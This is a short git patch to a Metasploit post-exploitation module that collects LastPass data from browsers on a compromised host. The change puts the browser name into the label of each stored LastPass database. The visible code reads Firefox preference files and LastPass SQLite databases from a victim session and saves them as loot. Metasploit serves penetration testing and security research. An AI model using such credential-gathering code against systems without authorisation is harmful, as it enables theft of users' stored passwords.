From d97fe548b938b7f9d9f7aacdbc44ae9a6e2e670f Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Fri, 17 Oct 2014 11:33:31 -0700 Subject: [PATCH] Store the browser name in LastPass loot --- modules/post/multi/gather/lastpass_creds.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/post/multi/gather/lastpass_creds.rb b/modules/post/multi/gather/lastpass_creds.rb index de75cd72ff..6aa2994ceb 100644 --- a/modules/post/multi/gather/lastpass_creds.rb +++ b/modules/post/multi/gather/lastpass_creds.rb @@ -43,7 +43,6 @@ class Metasploit3 < Msf::Post db_map.each_pair do |browser, paths| if browser == 'Firefox' paths.each do |path| - # Read and store the remote preferences file locally data = read_file(path) loot_path = store_loot('firefox.preferences', 'text/javascript', session, data, nil, "Firefox preferences file #{path}") @@ -57,7 +56,7 @@ class Metasploit3 < Msf::Post else # Chrome, Safari and Opera paths.each do |path| data = read_file(path) - loot_path = store_loot('lastpass.database', 'application/x-sqlite3', session, data, nil, "LastPass database #{path}") + loot_path = store_loot("#{browser.downcase}.lastpass.database", 'application/x-sqlite3', session, data, nil, "#{browser} LastPass database #{path}") # Parsing/Querying the DB db = SQLite3::Database.new(loot_path)